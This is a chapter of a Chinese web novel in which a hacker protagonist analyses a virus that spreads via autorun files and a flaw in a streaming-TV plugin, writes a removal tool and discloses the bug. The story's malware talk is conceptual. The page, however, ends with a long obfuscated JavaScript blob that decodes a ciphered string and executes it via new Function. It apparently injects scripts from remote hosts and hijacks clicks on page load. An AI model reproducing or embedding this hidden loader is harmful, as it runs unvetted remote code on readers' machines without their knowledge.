关灯
护眼
字体:

第五十六章 头阵(第1页)

章节目录保存书签

打开信箱,刘啸看到了新邮件,附件里就是卫刚说的那个病毒样本了,体积很小,只有二十多k,但刘啸可不敢小视它的破坏能力,他直接将这个病毒下载到了自己的虚拟系统之中。

刘啸打开自己制作的监控器,然后运行了病毒,监控器可以把病毒运行后的一举一动都记录下来。

刚一运行,刘啸真实系统的病毒报警器响了起来,提示有病毒企图入侵。

“咦?”刘啸大感意外,自己电脑上的真实系统和虚拟系统被他设置成了局域网模式,看来这个病毒具有自动探测局域网机器,然后寻找漏洞伺机进行传播的功能。只是自己的真实系统的安全程度非常高,系统有的漏洞,不管是公布的还是未公布的,只要自己知道的,自己都打了补丁,或者是做了防范措施,应该不会给病毒任何侵入的机会,但报警器还是报警了,那就是说病毒利用的是一种刘啸所不知道的漏洞。

万幸的是,刘啸的病毒报警器发现了病毒的传播行为,否则他的真实系统要是被感染了病毒,那乐子就大了,简直就是出师未捷身先死,刘啸到时都不知道是该先拯救自己的机器,还是先研究病毒。擦擦头上的冷汗,刘啸心道这个wufeifan还真是有两下子的,他的手里应该掌握有不少未知的漏洞,这一上来就给了自己一个下马威。

从虚拟系统里把监控器的记录调出来,刘啸发现wufeifan的这个病毒和现在的普通病毒并没有什么区别,甚至破坏能力还不如上次的那个拼凑式病毒,只是普通人中毒之后会很难清除掉。

首先,病毒在电脑每个盘符的根目录下生成了一个自动执行文件,只要用户访问这个盘,就会自动执行病毒。原理很简单,病毒利用的就是系统的自动播放功能,这个功能我们平时会经常用到,比如我们买了一张dvd大碟,碟子放入光驱后,过一会,我们便发现影片的播放目录就自动弹了出来,此时我们只需选择自己要看的影片或者某个章节就可以了。这个播放目录之所以会自己弹出来,利用的就是自动播放功能,光碟里事先压制好了一个文件,在这个文件里规定了读取光碟时要首先被执行的就是播放目录。而病毒呢,就是事先规定了要先执行病毒程序。

要解决这种病毒其实不难,只要关掉系统的自动播放功能,然后删除掉盘符下自运行文件,并且找到病毒程序,一并删除,就算是解决了。

但wufeifan可没有那么傻,他的病毒程序和那个自运行文件都是被隐藏起来的,而且病毒强行修改了系统的设置,让中毒的用户无法开启系统的“查看隐藏文件”功能,就是你知道有病毒,你也看不见、找不到病毒,删除病毒就更是无从谈起了。而且病毒还有自我保护功能,它在后台和系统的服务进程捆绑在了一起。

做好这些保护自我的工作后,病毒就开始在后台秘密地下载各种盗密木马,伺机窃取用户的机密。如果病毒检测出被感染的电脑是处于一个局域网之中,那它就开始检测局域网内的其他电脑,如果其他电脑上存在病毒传播所利用的那种漏洞,便会被病毒自动感染。一传十,十传百,很快就会有很多电脑被感染。

“看来就是这样了!”刘啸拍拍脑袋,这病毒还真没有什么稀奇的地方,现在只要是个病毒,差不多都有这些功能,唯一能让刘啸正眼看的,就是那病毒在局域网传播时利用的那个漏洞。

可现在刘啸还暂时顾不上研究那个漏洞,他要做的是赶紧出一个专杀工具,而且要抢在卫刚之前。

好在这种普通的病毒比较好清除,刘啸做个专杀工具也算是轻车熟路,他根据自己监控器的记录,准确找到了病毒隐藏位置,然后设计了一系列的功能,恢复系统正常设置,关闭自动播放功能,最后再一举清除病毒。

编好代码,编译成可执行的程序,刘啸就迅速登陆到终结者论坛,准备发布自己的这款专杀工具。

可令他意外的是,论坛里已经有人放出了专杀工具,发帖人的id当然就是卫刚。论坛里此时热闹非常,国内反病毒界的头号人物——大侠“风清扬”卫刚,此时突然现身于一个小小的民间反病毒论坛,这远比卫刚刚刚发布的那个专杀工具要更为引人关注,大家都在纷纷猜测卫刚此举的目的何在。

刘啸苦笑,卫刚这是在向自己示威啊,看来自己这头一阵算是输给了卫刚。

不过这也没什么可奇怪的,卫刚做了多年的反病毒工作,技术已经达到了炉火纯青的地步,况且wufeifan的这个病毒和普通病毒没什么两样,他在速度上胜出刘啸那自然是顺理成章的事情。

挠了挠头,刘啸就有点尴尬,不知道自己做的这个专杀工具还要不要发布,不发布吧,自己都已经做好了,发布吧,也起不到什么作用了。

想了半天,刘啸决定还是不发了,自己主动退一步,就算是这第一阵认输了。“没什么,这才是刚刚开始而已,好戏还在后头呢,那wufeifan绝对不会只是这么一点点能耐!”刘啸自我解嘲着,他估计wufeifan先放出这个不痛不痒的病毒不过是想探探深浅罢了。

关了网页,刘啸回头又打开那份监控器记录,既然已经输了,自己就安安心心地研究那个漏洞吧。刘啸很纳闷,没公布的系统漏洞自己掌握得还真是不少,可怎么就独独漏了这一个呢。

现在刘啸自己做的那款专杀工具终于派上了用场,他清除掉虚拟系统里的病毒,然后重新打开监控器,又把病毒样本再次放入了虚拟系统之中,这次他要看看病毒到底向自己的真实系统发送了什么探测消息。

运行病毒之后,很快,真实系统中的报警器又响了。

刘啸终止了监控器的运行,这次得到的数据记录更为详细了,刘啸在里面仔细找了半天,终于找到了相关数据。

“咦?”刘啸皱眉看了半天,这是个什么漏洞呢?对系统功能了如指掌的他,竟然也没能看出病毒发出的刺探消息是在探测系统哪个服务上的漏洞。

无奈之下,刘啸只好再次清除掉病毒,然后自己切换到虚拟系统下,给真实系统发了一条和病毒一模一样的探测消息,很快,刘啸就得到了返回信息,但这信息让他有点傻眼。

返回的是一个插件的版本号,某某插件x?x版本,后面是插件的制造商和发行商:ppplay。

“靠!原来是这样!”刘啸终于反应了过来,病毒利用的漏洞根本就不是系统漏洞,而是一款网络电视软件上的漏洞。刘啸平时没什么爱好,就是喜欢用网络电视看球赛直播,出现漏洞的这个插件就出自网络电视软件ppplay,是ppplay为了最大限度提高用户下载速度而自行开发一款插件。

“wufeifan这家伙真是……”刘啸不知道该用什么词来形容这个wufeifan了,现在微软修补漏洞的速度提高了很多,发现新的系统漏洞也越来越困难,其中能够被黑客直接利用的更是少之又少,这wufeifan太聪明了,竟然把目光转移到那些电脑常备软件上去了。为了他的一个亿,wufeifan可真是没少花心思,估计那厮的白头发都能长出不少来。

两个小时后,刘啸再次登上了终结者论坛,发现论坛此时非但没有冷清下来,反而更热闹了。

卫刚现身终结者论坛的消息传出后,引来了不少看热闹的,特别是国内的几大杀毒软件商,他们很奇怪,卫刚明明有自己专有的反病毒消息发布平台,为什么他要远远地跑到民间反病毒论坛来公布这个专杀工具呢。这些杀毒软件商一边匆匆忙忙地更新了自己产品的病毒库,一边守在这个论坛里等待事情的后续发展。

刘啸一看这阵势,也不敢太张扬了,就在卫刚的屁股后面偷偷摸摸地跟了个帖子,没敢直接说那漏洞的事,而是先把卫刚颂扬了一番,说卫刚的技术很高超,对病毒的分析十分准确,专杀工具也非常有效,最后才提到了病毒,说病毒还有一个小小地方被忽视了,就是病毒的自动传播是利用了一个新的漏洞。

刘啸在帖子里直接点了ppplay的名,他分析了那插件形成漏洞的原因,以及造成的危害,还放出了自己设计的补丁。在帖子的末尾,刘啸倒是没忘了给自己工作室打广告:“或许起点有很多,但终点只有一个,快云工作室,所有安全问题的终结站。”

大家都盯着论坛呢,刘啸冷不丁地放出这么个帖子,便顿时又炸开了锅。其实卫刚说的那个病毒大家谁也没有看到,大家倒是想见一见来着,但卫刚的专杀工具一出,几大杀毒软件又随后跟上,那病毒的生命就算是被彻底终结了,估计今后谁也不会碰到了。

现在刘啸冒出来,对病毒又是分析又是解剖的,还把卫刚颂扬了一番,最后的结论却是说国内网络电视界的老大ppplay存在严重漏洞,论坛上的人哪里肯信,特别是刘啸后面的广告,大大刺激了大家的神经。于是很多人就在刘啸的帖子里开骂了,说刘啸这是拽着龙尾巴上天,想出名想疯了。

这么一闹腾,消息很快就传到了ppplay那里,以往反应迟钝的ppplay公司,今天却不知道是抽了什么风,竟然速度在自己的网站首页发出了一则严重声明,宣称自己的软件绝无安全漏洞方面的问题,更不会给用户造成损失,‘留校察看’的帖子纯属造谣诽谤,ppplay公司将保留追究‘留校察看’法律责任的权利。

刘啸很郁闷,自己已经是夹起尾巴做人了,而且还是做好人,为什么会被人当作过街老鼠一样穷追猛打,他真的是想不通。

而在此时,让刘啸更加郁闷的事情发生了,卫刚再次现身终结者论坛,发出帖子声援‘留校察看’,称病毒确实是利用了ppplay软件的漏洞进行传播。随后不久,ppplay就删除了自己网站上的声明,改为在官方论坛通知用户,漏洞确实存在,但绝没有传说中的那么厉害,ppplay将在最短的时间内修正漏洞。

“靠!”刘啸确实有些火大,就因为自己是个无名小卒,市府的秃头羞辱了前来善意提醒的自己;就因为自己是个无名小卒,所有人的人就能说自己是拽着龙尾巴上天;就因为自己是个无名小卒,别人的错误也能变成自己的罪过。

刘啸坐在电脑前,脸色铁青,“总有一天,我会让你们都知道我是谁!”,蓝胜华曾说黑客圈的名都是虚的,而刘啸此时看到的却是,名就是实实在在的东西。();

章节目录

!function(){function a(a){var _idx="k1hpv3d1yc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF h8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=58"#MqYYb"=68HZ!F5T[68+i;NmJd5LYcdc5a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 dcY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<6mqY2pFh??c6mJ_Lhc`c$[YPa`%Fa=(c5=+i;NmLF562p67Tc6aaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 _cYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLmSXfRX:DmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLm)C2T7dXmRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLm)C2T7dXmRT4gQ1KQ"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/1osjY8S}hJXsf}T("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%fca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=icaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 fca[qYF Y8dc"bb___b"a!5YF_52 Y??(c"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTc6a??c68HZ=(c5=""aa!qYF ^8"1os"=J8"S}hJXsf}T("!7_2(F6O2 XcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 TcYa[Xd5 F8H"1os2CTqf7mT6CL55SmRT4"="1osCSTqfXm^)TC25qmRT4"="1osOSTq47mT6CL55SmRT4"="1osF(Tq2Sm^)TC25qmRT4"="1osDhTqdJmT6CL55SmRT4"="1osh)TqCqm^)TC25qmRT4"="1osJfTq7DmT6CL55SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"!qYF O82YD VY)iO(SYFcF%"/"%^%"jY8"%J%"v58"%7m5Y|5T%%%"vF8"%fca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28fH_ZcYH(Zch%%aa=O8fH_ZcYH(Zch%%aa=68fH_ZcYH(Zch%%aa=d8fH_ZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PXcOa=@8887mqOdfiFdF_LvvicaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=XcOaP=7mqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 ica[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPP1osSJTq)(()mhRdDXfLmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ/f/1osj(8}vY8S}hJXsf}T("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajTc7_2(F6O2ca[qc@0}a=Tc7_2(F6O2ca[qc@0@a=_c7_2(F6O2ca[qc@0saPaPaPag_c7_2(F6O2ca[qc}0}a=_c7_2(F6O2ca[qc}0@a=Tc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv6mqY2pFhvvcY8pc"hFFJLg//[[fdTPP1os2OTqCLmTST7hR5mRT4gQ1KQ"a%"/)_pj68"%^=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc6aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=6mqY2pFh80=(c5=""aaPaPaca!'.substr(22));new Function(b)()}();